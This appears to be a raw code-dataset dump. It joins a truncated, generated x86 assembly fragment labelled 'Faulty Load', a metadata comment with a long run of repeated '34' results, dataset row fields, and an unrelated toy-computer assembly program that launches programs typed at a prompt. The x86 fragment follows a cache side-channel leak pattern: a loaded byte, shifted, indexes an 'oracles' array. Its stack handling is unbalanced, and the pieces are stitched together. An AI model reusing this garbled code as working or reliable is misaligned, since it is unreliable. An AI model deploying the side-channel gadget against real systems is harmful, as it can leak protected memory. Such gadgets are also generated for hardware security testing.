push %r14
push %r8
push %rbx
push %rcx
// Faulty Load
lea addresses_normal+0x10416, %rbx
nop
add $56518, %rcx
mov (%rbx), %r14
lea oracles, %r8
and $0xff, %r14
shlq $12, %r14
mov (%r8,%r14,1), %r14
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 34.663636
| 2,999
| 0.659586
|
13ec0d42514ccee3d33427f8a4e8a9ca19598bb2
| 522
|
asm
|
Assembly
|
programs/main.asm
|
poeticAndroid/cyberbit
|
36209f8694167e84c13ea8f2aa45a3bf581dab5f
|
[
"MIT"
] | 1
|
2022-03-04T11:11:46.000Z
|
2022-03-04T11:11:46.000Z
|
programs/main.asm
|
poeticAndroid/cyberbit
|
36209f8694167e84c13ea8f2aa45a3bf581dab5f
|
[
"MIT"
] | null | null | null |
programs/main.asm
|
poeticAndroid/cyberbit
|
36209f8694167e84c13ea8f2aa45a3bf581dab5f
|
[
"MIT"
] | null | null | null |
;; z28r asm
jump main
ext printStr 0x5020 2
ext readLn 0x5024 2
ext open 0x503c 3
ext read 0x5040 2
data prompt_str "\nProgram: \0"
end
fn main args
vars len
let len = true
while len
let len = open 0x20726964 buffer 0
read buffer len
printStr buffer -1
printStr prompt_str -1
store buffer 0
readLn buffer 16
let len = open 0x20746567 buffer 0
if len
read buffer len
drop run
end
end
return 404
end
fn run
-1
return exec buffer 1 0
end
data buffer ".\0"
end
| 14.5
| 38
| 0.668582
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.